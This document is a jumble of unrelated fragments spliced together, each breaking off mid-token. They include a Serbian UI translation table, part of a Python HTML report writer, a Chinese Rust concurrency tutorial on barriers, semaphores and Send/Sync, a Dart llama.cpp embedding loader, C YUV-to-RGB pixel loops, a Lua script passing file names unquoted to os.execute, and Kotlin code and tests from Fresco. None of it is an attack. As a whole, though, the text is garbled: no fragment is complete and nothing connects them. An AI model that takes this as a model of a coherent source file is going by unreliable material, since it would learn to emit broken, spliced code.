naziv foldera."]},'"/" is not allowed inside a folder name.':{msgid:'"/" is not allowed inside a folder name.',msgstr:["„/” se ne može koristiti unutar naziva foldera."]},"All files":{msgid:"All files",msgstr:["Svi fajlovi"]},Choose:{msgid:"Choose",msgstr:["Izaberite"]},"Choose {file}":{msgid:"Choose {file}",msgstr:["Izaberite {file}"]},"Choose %n file":{msgid:"Choose %n file",msgid_plural:"Choose %n files",msgstr:["Izaberite %n fajl","Izaberite %n fajla","Izaberite %n fajlova"]},Copy:{msgid:"Copy",msgstr:["Kopiraj"]},"Copy to {target}":{msgid:"Copy to {target}",msgstr:["Kopiraj u {target}"]},"Could not create the new folder":{msgid:"Could no


                    }}, 100);
                }});
            </script>
        """

        # Close the HTML
        html_content += js_content
        html_content += """
            </div>
        </body>
        </html>
        """

        # Write the HTML to file
        report_path = output_dir / f"{time.strftime('%m%d')}{input_path.name}_report.html"

        with open(report_path, 'w', encoding='utf-8') as file:
            file.write(html_content)

        print(f"HTML report generated successfully at {report_path}")
        return report_path


      count: u32  // 当前到达的线程数
        generation: u32  // 当前代

wait(Barrier):
  pre: true
  atomic {
    local_gen = generation
    count += 1
    if count == n then
      count = 0
      generation += 1
      wake_all_threads()
    else
      suspend(current_thread) until generation > local_gen
  }
```

### 4.5 信号量

信号量控制对资源的并发访问数量：

```rust
// 一个允许最多5个并发访问的计数信号量
let semaphore = Arc::new(Semaphore::new(5));
let permit = semaphore.acquire().await?;
// 使用资源
drop(permit); // 释放访问权
```

**定义 4.5** (信号量): 信号量是一个计数器，用于控制对共享资源的访问，支持两种操作：

1. P(获取): 减少计数，如果计数小于0则等待
2. V(释放): 增加计数，可能唤醒等待的线程

形式化规范:

```math
Semaphore = (count, waiting_threads)
  where count: i32
        waiting_threads: Queue<Thread>

P(Semaphore):  // 又称acquire
  atomic {
    count -= 1
    if count < 0 then
      add current_thread to waiting_threads
      suspend(current_thread)
  }

V(Semaphore):  // 又称release
  atomic {
    count += 1
    if count <= 0 && waiting_threads ≠ ∅ then
      remove head thread from waiting_threads
      wake_up(thread)
  }
```

## 5. 同步机制的形式化证明

### 5.1 线性类型与所有权的形式化

Rust的所有权系统可通过线性类型论形式化：

**定义 5.1** (线性类型): 在线性类型系统中，每个资源必须确切地使用一次，不能被复制或丢弃。

**定理 5.1** (Rust所有权安全): Rust的所有权系统通过借用检查器实现了线性类型系统的变体，保证每个可变引用是唯一的，且引用不会超过其指向数据的生命周期。

形式化表示:

```math
Γ ⊢ x: T     // x具有类型T
move(x)      // 转移所有权，之后x不可用
borrow(x)    // 不可变借用，返回&T
borrow_mut(x) // 可变借用，返回&mut T，期间x不可访问
```

### 5.2 Send与Sync的类型级安全保证

**定义 5.2** (Send特质): 类型T实现Send表示T的所有权可以安全地在线程间传递。

**定义 5.3** (Sync特质): 类型T实现Sync表示对T的不可变引用&T可以安全地在线程间共享。

这两个特质提供了正式的类型级别保证：

**定理 5.2** (Send安全性): 如果类型T实现了Send，则将T从一个线程移动到另一个线程不会引起数据竞争。

**定理 5.3** (Sync安全性): 如果类型T实现了Sync，则多个线程可以同时安全地持有对T的不可变引用，而不会引起数据竞争。

**


out" && i + 1 < args.length) {
      embdOut = args[++i];
    } else if (args[i] == "--embd-normalize") {
      embdNormalize = 1;
    } else if (args[i] == "--embd-no-normalize") {
      embdNormalize = 0;
    } else if (args[i] == "--embd-sep" && i + 1 < args.length) {
      embdSep = args[++i];
    } else if (args[i] == "-b" && i + 1 < args.length) {
      nBatch = int.parse(args[++i]);
    } else if (args[i] == "--verbose-prompt") {
      verbosePrompt = true;
    }
  }
  */

  // Initialize llama
  llama_cpp lib;

  // Determine library path
  String? libraryPath =
      "/Users/adel/Workspace/llama_cpp_dart/bin/MAC_ARM64/libllama.dylib";

  try {
    print("Loading llama.cpp library from: $libraryPath");
    lib = llama_cpp(DynamicLibrary.open(libraryPath));
  } catch (e) {
    print("Failed to load llama.cpp library: $e");
    print("Trying process library as fallback");
    try {
      lib = llama_cpp(DynamicLibrary.process());
    } catch (e) {
      print("Failed to load library from process: $e");
      exit(1);
    }
  }

  lib.llama_backend_init();

  // Load the model
  print("Loading model: $modelPath");

  // Create model params
  final modelParams = calloc<llama_model_params>();
  modelParams.ref = lib.llama_model_default_params();

  final modelPathPtr = modelPath.toNativeUtf8().cast<Char>();
  final model = lib.llama_load_model_from_file(modelPathPtr, modelParams.ref);
  malloc.free(modelPathPtr);

  if (model == nullptr) {
    print("Unable to load model");
    lib.llama_backend_free();
    calloc.free(modelParams);
    exit(1);
  }

  // Create context params with embedding flag
  final contextParams = calloc<llama_context_params>();
  contextParams.ref = lib.llama_context_default_params();
  contextParams.ref.embeddings = true; // Enable embeddings
  contextParams.ref.n_batch = nBatch;
  contextParams.ref.n_ubatch =
      nBatch; // For non-causal models, batch size must equal ubatch size

  final ctx = lib.llama_new_context_with_model(model, contextParams.ref);
  if (ctx == nullptr) {
    print("Unable to create context");
    lib.llama_free_model(model);
    lib.llama_backend_free();
    calloc.free(modelParams);
    calloc.free(contextParams);
    exit(1);
  }

  final vocab = lib.llama_model_get_vocab(model);
  final nCtxTrain = lib.llama_model_n_ctx_train(model);
  final nCtx = lib.llama_n_ctx(ctx);

  // Determine pooling type
  llama_pooling_type poolingType;
  try {
    poolingType =
        lib.llama_pooling_type$1(ctx); // Use the correct function name
    print("Model pooling type: $poolingType");
  } catch (e) {
    // This would happen if the function is not available or fails
    // For BERT models, MEAN (1) is often a good default
    print("Could not determine pooling type, using MEAN as default: $e");
    poolingType = llama_pooling_type.LLAMA_POOLING_TYPE_MEAN;
  }

  // Check model compatibility
  if (lib.llama_model_has_encoder(model) == true &&
      lib.llama_model_has_decoder(model) == true) {
    print(
        "Warning: Computing embeddings in


 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // G
						C =  Y +  VR  ; DestTemp[ 2 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // R
						C = AY + AVR  ; DestTemp[ 3 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // A

						SrcYTemp  += 4 ;
						SrcUVTemp += 4 ;
						DestTemp += 4 ;
					}while( -- i ) ;

					SrcY  += SrcYPitch ;
					SrcUV += SrcUVPitch ;
					Dest  += DestPitch ;
				}while( -- Height ) ;
			}
			else
			{
				do
				{
					BYTE *SrcYTemp ;
					BYTE *SrcUVTemp ;
					BYTE *DestTemp ;

					SrcYTemp  = SrcY ;
					SrcUVTemp = SrcUV ;
					DestTemp  = Dest ;

					i = Width ;
					do
					{
						U = ( int )SrcUVTemp[ 0 ] - 128 ;
						V = ( int )SrcUVTemp[ 1 ] - 128 ;

						UB  = U *  58064 ;				//  1.772
						VUG = U * -11272 + V * -23396 ;	// -0.344 -0.714
						VR  = V *  45940 ;				//  1.402

						Y = SrcYTemp[ 0 ] << 15 ;
						C = Y + UB  ; DestTemp[ 0 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // B
						C = Y + VUG ; DestTemp[ 1 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // G
						C = Y + VR  ; DestTemp[ 2 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // R
						DestTemp[ 3 ] = 255 ;

						SrcYTemp  += 4 ;
						SrcUVTemp += 4 ;
						DestTemp += 4 ;
					}while( -- i ) ;

					SrcY  += SrcYPitch ;
					SrcUV += SrcUVPitch ;
					Dest  += DestPitch ;
				}while( -- Height ) ;
			}
		}
		else
		if( YGraphWidth  / 2 == UVImage.Width &&
			YGraphHeight / 2 == UVImage.Height )
		{
			if( RRAFlag )
			{
				Height /= 2 ;
				do
				{
					BYTE *SrcYTemp ;
					BYTE *SrcUVTemp ;
					BYTE *DestTemp ;

					SrcYTemp  = SrcY ;
					SrcUVTemp = SrcUV ;
					DestTemp  = Dest ;

					i = Width / 2 ;
					do
					{
						U = ( int )SrcUVTemp[ 0 ] - 128 ;
						V = ( int )SrcUVTemp[ 1 ] - 128 ;

						UB  = U *  58064 ;				//  1.772
						VUG = U * -11272 + V * -23396 ;	// -0.344 -0.714
						VR  = V *  45940 ;				//  1.402

						AV = ( int )SrcUVTemp[ 1 + AddUV ] - 128 ;

						AVR  = AV *  45940 ;				//  1.402

						Y  = SrcYTemp[ 0    ] << 15 ;
						AY = SrcYTemp[ AddY ] << 15 ;
						C =  Y + UB  ; DestTemp[ 0 ] = ( BYTE )( C < 0 ? 0 : ( C > 0x7F8000 ? 255 : ( C >> 15 ) ) ) ; // B
						C =  Y + VUG ; DestTemp[ 1


rator:next_file() end do
        local file_name = file:get_attribute_as_string(name_attr)
        local file_type = file:get_file_type()
        local match_ext = file_name:match("[.]svg$")

        if file_type == "REGULAR" and match_ext then
            ret[file_name] = true
        end
    end

    return ret
end

local raw_files, processed_files = list_svg(raw_path), list_svg(processed_path)

for file in pairs(raw_files) do
    if not processed_files[file] then
        os.execute(table.concat({
            script_path,
            raw_path .. "/" .. file,
            processed_path .. "/" .. file
        }, " "))
    end
end


ound in the
 * LICENSE file in the root directory of this source tree.
 */

package com.facebook.fresco.ui.common

@Suppress("KtDataClass")
data class DimensionsInfo(
    val viewportWidth: Int,
    val viewportHeight: Int,
    val encodedImageWidth: Int,
    val encodedImageHeight: Int,
    val decodedImageWidth: Int,
    val decodedImageHeight: Int,
    val scaleType: String,
) {
  override fun equals(other: Any?): Boolean {

    if (this === other) {
      return true
    }
    if (javaClass != other?.javaClass) {
      return false
    }

    val otherDimensions: DimensionsInfo = other as DimensionsInfo

    return viewportWidth == otherDimensions.viewportWidth &&
        viewportHeight == otherDimensions.viewportHeight &&
        encodedImageWidth == otherDimensions.encodedImageWidth &&
        encodedImageHeight == otherDimensions.encodedImageHeight &&
        decodedImageWidth == otherDimensions.decodedImageWidth &&
        decodedImageHeight == otherDimensions.decodedImageHeight &&
        scaleType == otherDimensions.scaleType
  }

  override fun hashCode(): Int {
    var result = viewportWidth
    result = 31 * result + viewportHeight
    result = 31 * result + encodedImageWidth
    result = 31 * result + encodedImageHeight
    result = 31 * result + decodedImageWidth
    result = 31 * result + decodedImageHeight
    result = 31 * result + scaleType.hashCode()
    return result
  }
}
/*
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

package com.facebook.imageutils

import java.io.IOException
import java.io.InputStream
import junit.framework.Assert
import org.junit.Test
import org.junit.runner.RunWith
import org.robolectric.RobolectricTestRunner

/** Tests [WebpUtil] */
@RunWith(RobolectricTestRunner::class)
class WebPUtilTest {
  @Test
  @Throws(Exception::class)
  fun testSimpleWebps() {
    checkImage("webps/1_webp_plain.webp", 320, 214)
    checkImage("webps/2_webp_plain.webp", 320, 235)
  }

  @Test
  @Throws(Exception::class)
  fun testLosslessWebps() {
    checkImage("webps/1_webp_ll.webp", 400, 301)
    checkImage("webps/2_webp_ll.webp", 386, 395)
    checkImage("webps/3_webp_ll.webp", 800, 600)
    checkImage("webps/4_webp_ll.webp", 421, 163)
    checkImage("webps/5_webp_ll.webp", 300, 300)
  }

  @Test
  @Throws(Exception::class)
  fun testExtendedWebpsExtendedWithAlpha() {
    checkImage("webps/1_webp_ea.webp", 400, 301)
    checkImage("webps/2_webp_ea.webp", 386, 395)
    checkImage("webps/3_webp_ea.webp", 800, 600)
    checkImage("webps/4_webp_ea.webp", 421, 163)
    checkImage("webps/5_webp_ea.webp", 300, 300)
  }

  @Test
  @Throws(Exception::class)
  fun testExtendedWebpsExtendedNoAlpha() {
    checkImage("webps/1_webp_e.webp", 480, 320)
  }

  @Test
  @Throws(Exception::class)
  fun testExtendedWebpsAnimated() {
    checkImage("webps/1_webp_anim.webp", 322, 477)
  }

  @Throws(IOException::class)
  private fun getResourceStream(name: String): InputStream {
    val `is` = WebPUtilTest::class.java.getResourceAsStream(name)
    Assert.assertNotNull("failed to read resource: " + name, `is`)
    return `is`!!
  }

  /**
   * Contains the logic in order to test the size of an image
   *
   * @param imagePath The Path of the given image
   * @param expectedWidth